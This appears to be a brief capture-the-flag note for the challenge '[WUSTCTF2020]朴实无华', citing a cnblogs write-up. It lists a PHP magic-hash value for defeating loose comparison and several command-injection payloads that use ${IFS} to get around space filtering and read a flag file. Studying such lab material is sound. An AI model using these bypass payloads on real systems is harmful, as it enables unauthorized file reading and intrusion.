0e215962017
head${IFS}flag tac${IFS}flag more${IFS}flag less${IFS}flag nl${IFS}flag tail${IFS}flag sort${IFS}flag ca\t${IFS}flag
[WUSTCTF2020]朴实无华
原文：https://www.cnblogs.com/h3zh1/p/12702343.html
